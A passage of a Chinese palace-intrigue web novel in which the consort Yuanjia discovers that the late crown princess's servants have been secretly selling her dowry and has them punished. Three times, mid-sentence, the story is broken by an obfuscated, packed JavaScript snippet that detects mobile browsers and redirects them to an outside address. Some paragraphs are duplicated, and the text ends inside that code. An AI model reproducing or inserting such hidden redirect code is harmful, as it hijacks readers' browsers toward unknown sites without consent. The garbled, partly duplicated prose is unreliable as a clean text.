底下又是一阵窃窃私语,终是有人站了出来,通名报姓,又陈说自己的活计生业。一旦有了打头的,之后的便顺理成章许多。红玉适时出声,又让已通名的五人一列进屋拜见元嘉──这便可以慢慢找人了。 元嘉眼中略过一丝满意,又命拂冬三人出去替下红玉,改让前者与徐妈妈随于左右两侧,不动声色地打量起每一个人来。 只是进来了一批又一批,却始终没见着早前藏于雨帘下的那道暗影,连红玉都开始怀疑起是否是自己眼花了,终于── “……敬问女君康安。” 又五人入内请安,说的也是一字不改的祝语,红玉的目光却蓦地一顿──其中一人,不止湿了裙摆,便连左右袖角也是润湿的。 这便不对了。 大雨已停,只有地面还残有几处深浅不一的水洼,她们这些雨后才来长春馆的人,又是从哪里沾惹上这一身的湿意的呢…… 不动声色地从说话者身上扫过,红玉侧身替元嘉换上新茶,递向元嘉的同时又暗暗示意了两眼,前者顿时了然。 “……你是菡萏馆的人,”元嘉沉吟一声,“那便是薛娘娘的旧仆了?” 是的,此刻被红玉生了疑心的,正是从前伺候薛神妃的许多人中的一个,姓金。 “奴婢惶恐,不敢以旧仆自居,”金嬷嬷的态度十分谦卑,“只是蒙德妃娘娘恩典,有幸侍奉在薛娘娘身边罢了。” “嬷嬷何必自谦,”元嘉笑了笑,“本宫入府的时日尚短,却也能看出太子府被人打理得井井有条……这其中,固然有薛娘娘的功劳不假,但似嬷嬷这样做事稳妥老练的,想也出力不少呢。” 被元嘉这么一夸,金嬷嬷激动得有些忘形,连连摆手称不敢,面上却得色愈浓。与之相对的,便是和前者一同进屋的其他几人──若不是顾及着元嘉还坐在这里,怕是要当场拉下脸了。 “女君,旁边的陶嬷嬷,还有……” 红玉看出了元嘉的打算,旋即接过话来,又故意侧头打量了两眼,而后摆出一副懊恼模样,“这还差一个呢,早知道便该让六人一列的!” 说着朝元嘉告罪一声,几步走到屋外又带回一人,这才道:“女君,如今在菡萏馆的,除了金、陶两位嬷嬷,还有这四位妹妹呢。” “奴婢绿腰,见过女君,女君长乐万福!” 那女子亦是乖觉,一进屋便先向元嘉请安,得了前者示意才起身候命,由始至终都不曾向身侧的几人投去半分目光。不冷不热的模样,倒不像一个院子里出来的“同僚”,更像是在街角偶然擦肩的陌客。 “倒与你的名字对应上了。” 元嘉微讶,又朝红玉玩笑了一句。 后者赧然一笑,正欲解释,却被一道迫不及待的声音截断── “正如女君所言,咱们原不叫这些名字的。” 站在陶嬷嬷身边的翠裙女子立刻接话道:“是薛娘娘成婚以后,为与殿下身边这几位姊姊的名字相配,才特意改用绿这个字的。” “放肆!女君跟前,焉有你随意开口的份儿?” 陶嬷嬷当是憋了许久,如今好不容易逮着机会,立刻便插起话来,却只换得余下几个暗含不满的回视……这么一看,这几人虽都服侍过薛神妃,私底下的矛盾怕也不少。 “……不妨事,本宫也高兴听你们说话呢,”元嘉只当什么也没察觉,嘴角含了一抹笑,继续道,“那你们三个又叫什么名儿?” “奴婢绿柳!” “奴婢绿萝。” “奴婢绿香。” 三人闻言,忙不迭道。 “都是些好名字呢,”元嘉笑着夸了一句,“如此说来,你们也都是德妃娘娘赐在薛娘娘身边的吗?” “奴婢等与两位嬷嬷不同,少时便跟在薛娘娘身边了,之后又陪嫁来了这太子府。如今──” “这妮子胡诌的毛病又犯了,女君可别被她诓住了。”绿腰的话还没说完,便被陶嬷嬷截去了话头,“她们几个都是打小便进了宫,受尚仪局训教后,才被拨到珠镜殿伺候的。” “女君跟前,奴婢们怎敢扯谎?”绿柳当是与陶嬷嬷有龃龉的,一听便毫不客气地反唇相讥,“奴婢们是拨到珠镜殿伺候的不假,可薛娘娘进宫后便一直跟在她的身边了,如何算不得少时?倒是嬷嬷们,全是入太子府后才跟在薛娘娘身边的,自是不比咱们……” 隐隐有挑衅之态。 元嘉倒没有在意这些,她的关注全放在了“少时”二字上头。依此说法,薛神妃竟是长居宫闱多年,住的地方怕就是薛德妃的珠镜殿…… 元嘉垂下眼睑,一并掩去自己的许多思忖,转而问起其他事情来,“如今菡萏馆便只你们守着吗?” “是。薛娘娘虽不在了,可菡萏馆还放着娘娘的许多旧物,奴婢几个百无一能,好在蒙太子殿下厚待,并不曾调去其他地方做活,如今就一直留在菡萏馆里,也算是继续服侍薛娘娘呢!” 或许是元嘉始终不曾因她们的言语流露出任何的责备之意,金嬷嬷此刻再开口,便多出几分随意,只是依旧不改内里的得意──大约是真为自己先太子妃旧仆的身份而沾沾自喜罢。 元嘉嘴角笑意渐 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元嘉轻笑一声,不紧不慢道:“诸位姓甚名谁,又在哪处做事,于本宫而言并无差别。今日此举,也不过是为了本宫身边这几个不成器的侍女罢了……总归是来日方长,好的坏的早晚都能看清楚。嬷嬷此言,却是操心过头了。” 说着,又分出一缕目光,轻飘飘地从陶嬷嬷脸上掠过,前者立刻伏身连呼不敢。 “自然了,嬷嬷也是好心。” 元嘉朝红玉抬了抬下巴,后者立刻上前将人扶了起来,“这样吧,就让徐妈妈留在长春馆,和盼春她们一起将余下的人都见了。红玉,你跟红珠陪着本宫去菡萏馆吧。” 说完,便要起身。 “女君!” 金嬷嬷见元嘉真的要去,脸上闪过一丝慌张,又强撑着镇定道:“菡萏馆久不住人,女君千金之躯,何必脏了自己的鞋履呢!” “诸位不一直都守着菡萏馆吗,”元嘉拧着眉,一副不解的模样,“怎么?竟是连扫洗的活计也不做的么……” “自然不是,是奴婢、奴婢一时嘴快,说错了话……” 金嬷嬷连忙解释,脸上的笑却愈发勉强了。 “那就好。” 元嘉满意地一点头,又示意金、陶几人前方引路。前者磨蹭许久,终是想不出其他法子,只能领着人老实往菡萏馆而去。 …… 伴随着吱呀一声轻响,元嘉缓缓走入了这座曾经的太子妃院──虽已空置一年,可目光所及,未见一片落叶,时令花树更是长的茂盛,可见是被人精心打理过的。 “这院子打整的如此之好,看得出来你们是费了心思的。” 元嘉环视了一圈幻,并不吝啬自己的夸赞。 “奴婢们如今也没别的活计,就守着这座院子,自然日日清扫。” 大抵是吸取了金嬷嬷的教训,此刻陶嬷嬷答话,更多出三分谨慎。 “薛娘娘从前住在哪间屋子?” 元嘉望着眼前四四方方的院落,像是颇感兴趣般,随意走了两步。 “薛娘娘爱住靠东边的那间屋子,说那里光照最好,她最喜欢。” 绿腰垂着脑袋道。 “既如此,便领本宫去薛娘娘的旧屋瞧瞧吧,也好叫本宫祭拜一下姊姊。” 元嘉收回打量的视线,如是道。 26. 谓忠仆 从院门口到薛神妃旧屋不过几步脚程,元嘉缓缓行在金、陶二人身后,偶尔抬眼扫视着院内的其他摆设。 未几,两人停下脚步,又为元嘉推开屋门。彼此对视一眼,颇有些不情愿地让出一条道来。元嘉状似不觉,只停顿了一下便跨槛而进。 第一眼看到的,便是挂于正中的一副巨大画像──画中的女子身穿太子妃朝服,两手交叠置于膝,满脸肃穆,端坐于座椅上,是再得体不过的姿态。 画像前的桌案上则摆放着数量不少的祭祀之物,香炉内还插有几根未燃尽的香。不必多猜,这必定就是薛神妃的画像了。 倒与她想象中的略有差别。 元嘉心里暗道。 传闻中的薛神妃,贤良温婉,慈悲和善。进府后经历了前般诸事,她便对其又增添了深不可测之感。可不管是何种印象,元嘉总下意识以为这位薛娘娘该是一张笑面。如今看到这像,心中突然便明了──这样透画而出的气势,当真是能撑起太子妃之名的女子。 “红玉。” 元嘉只唤了一句,后者便立刻会意上前,又动作熟稔地从桌案一侧的暗格里摸出三支细香,小心点燃后,方递给了元嘉。 前者抬手接过,面色平淡地拜了三拜。直身立定,又深深看了眼画像上的薛神妃,方才上前一步,将细香稳稳插进炉中。 “……太子平日里,来的多吗?” 并不急着离开,元嘉转了个身,随意打量起屋内陈设来,指尖状似不经意般划过桌面。 “薛娘娘的生辰冥诞,殿下都会来此坐上一夜,”金嬷嬷垂着脑袋道,“平日里若得空,也会来薛娘娘屋子待个一时半刻。” “太子实在是有心了,”元嘉的话里是说不出的平淡,藏在袖下的手略微摩擦了下,倒真是一丝灰也没,“这屋子干净透亮,你们也同样有心了。” 金嬷嬷连道不敢,“这都是奴婢们该做的,万不敢居功。”说着见元嘉并无离开之意,迅速扫了眼窗外,试探道:“天色渐晚,想来殿下也快回来了,不若奴婢们服侍女君回去?” 元嘉头也不回,“不急,再带本宫去其他屋子瞧瞧吧。” “这、这怎么能行呢!” 绿腰脱口而出。 “为何不行?” 元嘉侧头望向绿腰,像是单纯的不解。 “因为、因为……” 绿腰吞吞吐吐没个准话,还是陶嬷嬷在一旁补充道:“女君千金之躯,此地虽是薛娘娘旧居,到底是逝者之所在,若是有不干净的东西,惊扰到女君可如何是好。且……自薛娘娘离世,除了这间供奉有娘娘画像的屋子还留人进出以外,其余的屋子都已经封了,只奴婢几个浑住的地方还能见人,可又堆满了杂物,实在是怕污了女君的眼。” 言辞恳切,一副为人着想的模样。 “正是呢,”金嬷嬷接过话头,“殿下也只往薛娘娘住的这间屋子来,今日得女君特意来祭,已然是极有心了,又哪里敢再叫您烦劳脚程呢……” 元嘉没有立刻开口,而是先看了一眼红玉,见前者点头,这才道:“嬷嬷们想是年纪大了爱忘事,所以不记得本宫说过的话了。”说着眸光一转,“如今又一味地找借口,就是不肯领本宫去其他屋子走上一圈……莫不是,在这菡萏馆里藏了什么不便本宫看见的东西?” 仍是笑盈盈的语气,可任谁也不敢真以为元嘉在开玩笑,绿腰几个更是吓得连头也不敢抬了,口中连连请罪。 到底是年纪更长,金、陶二人此刻勉强还算能稳得住,抬起头挤出一张笑脸,“女君这是同咱们说笑呢,太子府里哪有女君不能去的地方……咱们、咱们这就给您引路去。” 元嘉饶有兴致的目光在几人的脸上打了个转儿,须臾轻轻吐出两字── “好阿。” 金嬷嬷暗暗扯了陶嬷嬷一把,前者旋即反应过来,两个人弓着腰,一左一右地走到元嘉身侧,姿态极其谦卑地将人往外头带,“还请女君挪步。” 元嘉倒也配合,携了红玉与红珠便跟在二人身后,丝毫不管僵在一旁的绿腰几人是何反应。 “这下可怎么办,太子妃怎么就起了兴致来咱们这儿了呢……” 绿萝有些受不住一般跌坐在地,口中呜呜喃喃,“金嬷嬷还说她在长春馆有人呢,能打听的到太子妃是个什么脾气的人。这下好了,直接把人给招来了。” “都怪你!关起门来跟嬷嬷们吵嘴也就算了,怎么能当着太子妃的面显出与她们的不对付呢!”绿香恶狠狠地推了绿柳一把,“是不是舒坦日子过久了,都快忘记自己是谁了……要是被发现了可怎么办呀!” 尾音却有些没收住,被绿腰眼明手快地捂住了嘴,低斥道:“小声些!太子妃才走出几步远呢,你们这样吵嚷,是生怕她听不到吗!” 又见三人一副色厉内荏的模样,终是狠不下心,半作安慰道:“金嬷嬷她们既敢把太子妃往其他屋里带,想来是找出办法了……咱们先别自己乱了阵脚。” 话虽如此,捂着绿香的手却微微有些颤抖。 另一厢,元嘉三人已停在了一处上了锁的屋门面前,而后微微露出少许讶异──陶嬷嬷的话竟没有掺假,这些屋子还真是封起来了? 金嬷嬷从腰间摸出一枚锁匙,与陶嬷嬷交换了下目光,才似下了决定般将其插入锁眼,左右拧了几下,而后蓦地停了动作。 “嬷嬷怎么不动了?女君可还站在这里等着呢!” 红珠催促道。 又是少许停顿,金嬷嬷方才取下锁头,一用力推开了屋门。伴随着嘎吱一声轻响,先一步与陶嬷嬷跪在了地上请罪── “还请女君宽宥!” 红玉和红珠俱被这突如其来的动作吓了一跳,元嘉稍好些,挑着眉等着二人的下文。 陶嬷嬷见元嘉态度与自己想象中有异,愣了一下,仍咬牙道:“奴婢们被猪油糊了心,这才做下了此等糊涂事,求您看在薛娘娘的面子上,宽恕奴婢们这一次吧!” 红玉与红珠面面相觑,又询问般看向元嘉。前者越过伏在地上的两人,径直走了进去,而后顿时了然──屋里堆放着许多箱奁,大都半开着摊放,珠玉宝石、华服美衣更是凌乱散在四处。 看这规制,怕都是薛神妃的东西。 “这些东西,有的是薛娘娘生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803658|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰时宫里所赐,有的是六尚局惯例打了送到太子府内,还有些……女君,它们全都是薛娘娘的旧物!” 迟一步进来的红玉满脸震惊。 “……行了,说说罢,你们想让本宫宽宥什么?” 元嘉左右看了两眼,挑了个略平整的地方坐下,并不急着问罪,仍旧先问起金、陶二人来。 金嬷嬷将头埋得更低,一副战兢不已的模样,“奴婢们、奴婢们就是想图一把富贵滋味,所以、所以……” 支支吾吾,没个全乎话。 红珠这会儿也看明白了,当即冷哼一声,“嬷嬷们既想求女君宽宥,还是先自个儿把话说清楚罢,若继续这样藏着掖着,怕是真不想要自己的这条命了!” 亏她从前还以为这几个薛氏旧仆是何等忠心,日日守着旧屋,将里里外外打理得如生前一般,令人好生敬佩……却原来都是些“监守自盗”的假货! “奴婢们原该谨守本分,看护好薛娘娘留下来的种种旧物,却、却偏偏生了侥幸,偷用了薛娘娘的衣物首饰……还请女君看在奴婢们伺候过薛娘娘一场的份上,宽宥奴婢们吧!” 陶嬷嬷趴伏在地,磕头如捣蒜。 元嘉看着两人堪称行云流水般的动作,心中莫名生出几分怪异。举目环视了一圈,眼前的场景似乎确实与金、陶二人的说法吻合──首饰被随意地搁在妆台上,各式衣物则搭在了角落的架子上。元嘉顺手拈起一枚金簪,上面的使用痕迹尚新……颜色如此鲜亮,一定是被人时常把玩或佩戴着的。 竟不是狡言…… 元嘉拧着眉起身,又走到角落的那几处架子旁──其上搭着的衣物,针脚处确有被挣松的痕迹,有几处甚至还能看见零星的线头……说是被身量存差的人偷穿了也是合理。 “你们倒是胆大,竟不怕太子哪日起了兴致去其他的屋子,还敢将这些物件大咧咧地摆放一旁。” 元嘉重又踱步回来,话语间依旧喜怒难辨。 金、陶二人却避而不答,一张嘴里颠来倒去全是求元嘉宽恕的话。前者抿嘴不语,心底的异样却又一次翻滚起来──金嬷嬷甘冒风险也要来长春馆窥伺打探,就是为了掩盖她们私用薛神妃生前旧物的事情吗…… 元嘉总觉得有哪里奇怪,可思来想去也不得结果,只好道:“杖二十。” 然后,她清楚地看到了两人一瞬间松懈下来的表情,是再如何绷紧脸皮也遮盖不住的劫后余生的喜悦。 “多谢女君!” “谢过女君!” 金、陶二人争先恐后道。 “女君也太好性子了,似这般背主的奴才,便是打死也不为过……” 红玉低声道。 元嘉笑了笑,并不作声。毕竟是薛神妃的旧仆,又是由薛德妃赐下的,甚至还有燕景祁的“厚待”在里头,便是真要惩戒,也不该由她来做这个主……且这件事上也不缺做主的人。 又见金、陶二人不住磕头,元嘉无端端生出几分厌烦,转身便越过两人离开。途径薛神妃所居旧屋时,视线不经意间扫过挂在正中的那副画像,脚步蓦地停住。 她终于知道有哪里奇怪了…… 27. 无胆人 “……诸位好胆色哪,本宫险些就要被你们蒙骗过去了。” 元嘉缓缓转身,盯着因自己这句话面露惊惶之色的几个人,同样压抑着心底的怒意。 “女、女君这话是什么意思,奴婢们怎么有些听不明白呢……” 陶嬷嬷唇角微微有些抽搐,似乎想扯出一抹笑弧,最后却不明缘由地僵住了,表情似哭又似笑,十足的难看。 “图一把富贵滋味……嬷嬷们还真是会说话,”元嘉先是感慨,而后沉下了声音,“怪不得有胆子做出这样的事情!” 红玉和红珠先是被元嘉陡然转变的态度吓了一跳,而后又在听出前者的言下之意后怔愣原地,下意识朝地面跪伏着的两人看去,“女君,她们……” “私用薛娘娘旧物,只是搪塞本宫的借口罢,”元嘉的眼睛一点点眯起,“你们偷卖皇室财物……不对,皇室的东西都有徽记,便是你们敢卖,料想也无人敢收。你们偷卖的,只怕是薛娘娘的嫁妆吧!” 此话一出,满屋寂静。 陶嬷嬷这下是真的瘫了,半边身子倚在金嬷嬷身上,嘴哆嗦着吐不出一个字。一旁的金嬷嬷也好不到哪去,虽还能撑着陶嬷嬷,却也是浑身发抖。 绿腰立在屋门后的阴影处,嗫嚅着开口:“奴婢、奴婢……” 一张嘴开了又合,却不知该如何说才能把自己摘出去,犹豫间身后的绿柳先扛不住了,猛地跪伏在地,又膝行至元嘉脚边,哭求道:“女君开恩!这事都是金嬷嬷、陶嬷嬷,还有、还有绿腰姊姊做的,跟咱们几个无关哪!” “对……对!” “是阿是阿,还请女君明鉴!” 绿萝和绿香醒过神来,又连声附和起来。 “咱们做奴婢的,哪里敢昧主子的东西啊!”绿香垂泪欲泣,“可、可绿腰姊姊说,若是不跟着她们一起,便要咱们几个死啊!” 绿腰一听,管不得元嘉是何反应,瞪着眼睛便将绿香推倒在地,又朝还伏在地上的绿柳狠狠踹了一脚。听见前者痛呼后仍不解气,手一扬便要再掴人一巴掌。 红玉眼疾手快,立刻攥住了绿腰的腕肘,又往旁边使劲一甩,前者踉跄两步,一下子便摔在了门槛边上,顿时连呼痛声也出不来了。 元嘉并不为眼前的乱象所扰,除了面色更冷两分,“绿腰也只是个奴婢罢了,如何能叫你们死?” “……绿腰姊姊说,她说,若我们不跟着一起,”绿萝揩着眼泪,呜呜咽咽,“反正都是薛娘娘的人,到时候一根绳子勒死了,只说是挂念旧主,一并随去了便是!” “可怜见的,这么些日子,还真是委屈你们了。”元嘉似乎有些被触动,怜悯般感慨了一句,可旋即声音更冷,“都这个时候了,你们还想要诓骗本宫,想博本宫的同情!” “若你们心底没起这个念头,只需在太子来时向他陈情,又或是去找府里的任何一位娘娘,求她们为你们做主!可这都过去一年多了,府里谁也不知道有这件事。” “你们得了好处,却还要摆出一副不情不愿的样子,是想骗别人,还是骗你们自己?”元嘉发出一声哼笑,“你们倒连绿腰还不如。” 绿萝三人这下连话也不敢说了,只不停地磕头求饶,企图叫元嘉生出一丝恻隐之心。 绿腰勉强从地上撑坐起来,目光极快地从元嘉身上扫过,又看向同样磕头求饶的陶、金二人,眼中不甘与挣扎交织, 元嘉直起身,瞧着前面跪着的三人,“你们呢,还要说些什么吗?” 绿腰本也想为自己开脱,见绿萝几人下场,便一句话也说不出来了,只请罪道:“女君开恩!” 绿腰立在屋门后的阴影处,嗫嚅着开口:“奴婢、奴婢……” 一张嘴开了又合,却不知该如何说才能把自己摘出去,犹豫间身后的绿柳先扛不住了,猛地跪伏在地,又膝行至元嘉脚边,哭求道:“女君开恩!这事都是金嬷嬷、陶嬷嬷,还有、还有绿腰姊姊做的,跟咱们几个无关哪!” “对……对!” “是阿是阿,还请女君明鉴!” 绿萝和绿香醒过神来,又连声附和起来。 “咱们做奴婢的,哪里敢昧主子的东西啊!”绿香垂泪欲泣,“可、可绿腰姊姊说,若是不跟着她们一起,便要咱们几个死啊!” 绿腰一听,也管不得元嘉会作何反应,瞪着眼睛便将绿香推倒在地,又朝还伏在地上的绿柳狠狠踹了一脚。听见前者痛呼后仍不解气,手一扬便要再掴人一巴掌。 红玉眼疾手快,立刻攥住了绿腰的腕肘,又往旁边用力一甩,前者踉跄两步,一下子便摔在了门槛边上,顿时连呼痛声也出不来了。 元嘉并不为眼前的乱象所扰,除了面色更冷两分,“绿腰也只是个奴婢罢了,如何能叫你们死?” “……绿腰姊姊说,她说,若我们不跟着一起,”绿萝揩着眼泪,嘴里呜呜咽咽,“反正都是薛娘娘的人,到时候一根绳子勒死了,只说是挂念旧主,一并随去了便是!” “可怜见的,这么些日子,还真是委屈你们了。” 元嘉似乎有些被触动,怜悯般感慨了一句,可旋即声音更冷,“都这个时候了,你们还想要诓骗本宫,想博本宫的同情!” “若你们心底没起这个念头,只需在太子来时向他陈情,又或是去找府里的任何一位娘娘,求她们为你们做主!可这都过去一年多了,府里谁也不知道有这件事。” “你们得了好处,却还要摆出一副不情不愿的样子,是想骗别人,还是骗你们自己?”元嘉发出一声哼笑,“你们倒连绿腰还不如。” 绿萝三人这下连话也不敢说了,只不停地磕头求饶,企图叫元嘉生出一丝恻隐之心。 绿腰勉强从地面撑坐起身,目光快速从元嘉身上划过,又停在同样做求饶状的金、陶二人身上,前者似乎瞥了绿腰一眼,可旋即将头磕得更响。 绿腰咬了咬下唇,动作缓慢地揉捏着尚在作痛的手臂,目光又一次停在元嘉身上──前者面朝绿萝几个的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812030|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向而立,兀自将毫无防备的后脊袒露在她的眼前。绿腰的指尖不自觉抖了一下,眼中不甘与挣扎交织,颤巍巍将手抬至半空,还来不及继续下一个动作,元嘉便似有所察觉般回头。 瞧清楚绿腰的动作后,元嘉迅速在前者的肩膀某处捏了一下,而后看着眼前人好似支撑不住般垂下手去。 “……你果然与她们不一样,”元嘉重新将手拢回袖中,“方才,是打算从背后偷袭本宫罢?你是不是觉得自己罪数已定,所以想带着本宫一起去死……哪怕只能让本宫受些伤也是好的。” 被元嘉捏过的地方疼痛依旧,此刻更多了几分难以忽视的麻意,绿腰便知前者并不是什么养于深闺的手无缚鸡之力的弱质女郎,头脑发热时生出的冲动立时无存,亦不敢看人,只蜷着身子否认道:“奴婢……不敢。” “你们呢,还有什么想说的吗?” 元嘉并不在意绿腰的解释,只瞧着偷摸打量的几人继续问道。 有绿腰下场在前,其他人哪里敢再做什么,如今更连开脱的话也说不出来了,只能翻来覆去地喊着“女君饶命”四字。 “本宫不要你们的命,”避开似乎想要上前扯住自己裙角求饶的绿柳,元嘉语气淡淡,“本宫说了,杖二十。” 哭喊的声音有一瞬间的凝滞,而后是一连串的感激之词,绿萝等人的脸上甚至露出了极为明显的庆幸。 “本宫没那么慈悲。” 看着因自己这句话再度僵直了身体的几人,元嘉厌倦般移开了眼,“你们既不是本宫的身边人,本宫便也没必要为你们的生死操心。” 顿了顿,又道:“这件事情,本宫会一五一十地告知太子。诸位坏了薛娘娘的名声,又辜负了太子殿下的厚待,也不知最后会如何论罪呢?” “……女君,女君开恩哪!” 元嘉却转身往院外走去,“红珠,去把徐妈妈叫来,再让她一并带几个力气大、手脚麻利的内侍来,捆了这几个‘忠仆’回长春馆,就压在院子里的那块空地上受罚……趁着所有人都在,叫她们全部给本宫看着,敢在府里行偷盗事、欺瞒主子的人是什么下场!” 想了想,又道:“对了,还有几位娘娘身边的大宫女,也都叫去长春馆,都给本宫好生瞧瞧!” “是!” 红珠连忙应了一声,脚下立刻动作起来,近乎飞奔般离了菡萏馆。 “女君,此处再没有旁的人了,若咱们也这样走了,她们逃了或藏起来不见人可怎么办……” 红玉眼见元嘉越走越远,也顾不得伏在地上的几人作何反应,疾行几步随在前者身后,低声颇为担忧。 “她们不敢。” 闻言,元嘉似乎朝后睨了一眼,整个人显得颇为冷淡,“她们都是经擢选后才入宫为女官的,若逃了,她们的亲族便会因她们受累……她们不敢。” 而后,跨出了门槛。 身后陡然传来一声凄厉的哭嚎,红玉不自觉打了个寒噤,醒转神后再度跟上。 28. 暴怒举 出了菡萏馆,元嘉反倒不急着回去了,驻足观望了下天色,便携着红玉转去荷花池绕了一圈。 “……女君,您怎么知道陶嬷嬷她们是偷卖、薛娘娘的生前之物呢?” 看着姿态悠闲、不时倾身朝池中拈撒鱼食的元嘉,红玉几度犹豫,还是问出了口,却有意避开了皇室二字。 “你随在本宫身边,她们屋子里是什么情况也是看到了的……就没有觉得什么地方怪异吗?” 元嘉头也不回,只反问道。 虽知这是故意考校,可到底是先太子妃的旧物,红玉虽在场,一双眼睛却也不敢多看,除了认出那些东西的主人是谁以外,其他实在无从分辨,只好赧然道:“奴婢惭愧,只能瞧出上面有被人用过的痕迹,其他……还请女君解一解奴婢的困惑。” “薛娘娘是个身量纤长的女子吧?” 元嘉又撒了一把鱼食,看着被引来的许多锦鲤围挤争食,突然间问了个风马牛不相及的问题。 “……是。” 红玉不解点头。 “可角落里摆放的那些架子,却也不过及你我二人的腰间罢了。”元嘉终于转了身,“薛娘娘收捡起来的衣物,虽是被随意搭在上面的,可都还离地面好一截距离呢。” 红玉的眼睛,随着元嘉的话一点点睁大,满脸的不敢置信,“所以,那些针脚处的线头,根本不是她们偷穿衣物时被挣松的痕迹,而是、而是……” “本宫也是路过那副画像时才突然生出的猜测。”元嘉点了点头,“虽是薛娘娘自己的东西,可既然要配得上太子妃这个身份,所用的料件必也是十足珍贵的。金丝银线,玉片珠石,都是她们可以拿出去变卖的。” 将装有鱼食的小瓷盅递还到红玉手里,元嘉又道:“她们很聪明,虽将这些东西拆了下来,可还是防了一手。想来从前每次剪裁以后,她们都会再按原样缝补回去,只是一直无人发现,久而久之便放松了警惕,才成了今日所看到的粗糙针脚。” “如此粗劣的手段,她们怎么敢!” 红玉愤愤道。 “可是很有用,不是吗?”元嘉似笑非笑,“太子给了她们这些旧仆厚待与体面,平日里也无人会出入菡萏馆,谁会注意到那些衣物是长了还是短了,首饰上的玉石珍珠是多了还是少了。便是咱们今日,也不过是侥幸才发现的。” “如此,这样背主的奴婢,您对她们的责罚也太轻了!”红玉脱口而出,旋即反应过来自己的语气过分僭越,又连忙请罪道:“奴婢并非──” 元嘉笑着摇头,并不觉得红玉的话有何不当,只道:“本宫在菡萏馆时便说过了,她们的生死不由本宫操心。本宫之上还有太子,宫里头也还有好几位贵主呢,有的是要严惩她们的人。” 所以,不必她这个时候跳出来,平白给人与薛神妃打擂台的错觉。 “是奴婢失言了。” 元嘉没有再说话,只绕着荷花池又走了两圈,眼见天色渐沉,方才慢悠悠地往回走。 进了长春馆,见宫女们都老老实实地站在院子里,大气不敢出一声,中间空了一大块地方,是已经被打了二十板子的金嬷嬷几人──惨白着一张脸趴在地上,外衣隐隐可见血色渗出,一动不动的,只微微起伏的身子还彰显着人有□□气。 徐妈妈正站在阶上看着,见元嘉回来,几步下了阶,走到前者身边,环视了一圈,故意抬高声音,“女君,二十板子已打完了。” 元嘉嗯了一声,搭着徐妈妈的手坐到不知何时置于阶前的座椅上──约莫是徐妈妈将金、陶几人带回长春馆后备下的。 “原只想让诸位来长春馆露个脸的,不想竟发生了这般的恶事,累得诸位在此地站了许久,实在是本宫的过错。” 元嘉抬眼扫过底下敛目屏声的一众人,语气颇为温和。 “奴婢惶恐!” 众人齐声道,又俯身作请罪状。 元嘉笑了笑,“但想来诸位也都知道发生了什么了,方才又亲眼见到了她们几个受罚,不知此刻作何想法?本宫倒想要听上一听。” 机会难得,她虽早打定主意不将此事揽于自己身上,可若能以此在这些人心里种下威惧,来日或就能少些对她命令不决的人了。 见无人敢应,元嘉也不意外,只继续扫视着,蓦地点了个人── “芝兰,你说呢?” 是倪娉柔身边的大宫女。 芝兰抖了抖身子,强自镇定道:“背主的奴才,就是打死也不为过。” 元嘉又是一笑,眉心却微蹙,“说的真好……可,她们毕竟是薛娘娘留下的旧人,若本宫真打死了她们,也不知会否有人说本宫是不敬先太子妃呢?” 眸光一转,又点了个人出来,“玉兰?” 这次是刘婵身边的大宫女。 比起有些慌张的芝兰,年纪稍长的玉兰显得更加沉稳,自队列中走出,恭声道:“她们虽然说薛娘娘的旧仆,可竟胆大到敢私用主子的衣物首饰,甚至还变卖出府,可见也不是全然忠心于先太子妃的。与其叫这几个奴婢累了薛娘娘生前的好名声,还不若发作了去,叫她们去泉下请罪。女君打死几个背主的贱婢,何谈不敬!” 元嘉的笑这才透进眼底,“这是你的想法……其他人呢,可也是这样想的?” 院内众人哪里敢再逆元嘉的话,且这事本就是金嬷嬷几人的过错,放哪里都是足以杖毙的大过,元嘉却只命人责打了二十杖,已是极大的开恩,当下皆低声称是。 这正是元嘉想看到的,遂满意地一点头,转而吩咐起红玉来,“你带着她们进宫一趟,毕竟都是从珠镜殿里拨出来伺候的人,纵有过错也该交还给掖庭处置。只是这事到底不体面,你去时小心着些,不要被人随意嚼了舌根。” 话虽如此,可只要红玉带着人进了宫,不说娄皇后,薛德妃是一定能收到风的。从她宫里出来的人犯了大错,薛德妃怕是第一个想要了她们命的人。 正好叫她看看宫里人的态度。 元嘉默默在心里想道。 红玉应了一声,指了几个力气粗壮的宫女就要绑人,遥遥的却忽然传来一声传喝―― “殿下回来了!” 元嘉岿然不动,只看向因这话显得有些骚乱的众人道:“手里的活计都做完了吗?还不快回去当差。” 前者立刻没了声响,行了礼便迅速离开,不过几瞬的工夫,院子内便彻底空了下来。 下一刻,燕景祁便走了进来。 元嘉面色如常,甚至噙了抹笑起身相迎,就好似看不见地面上趴伏着的几人一般。 “殿下今日回来的早,府里晚膳还未备下呢!” “今日无甚要事,还有几位尚书从旁相辅,孤便想着回来多陪陪你。” 燕景祁的脸色有些阴沉,却还是顺着元嘉的话慢了脚步,甚至还能维持着温和的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 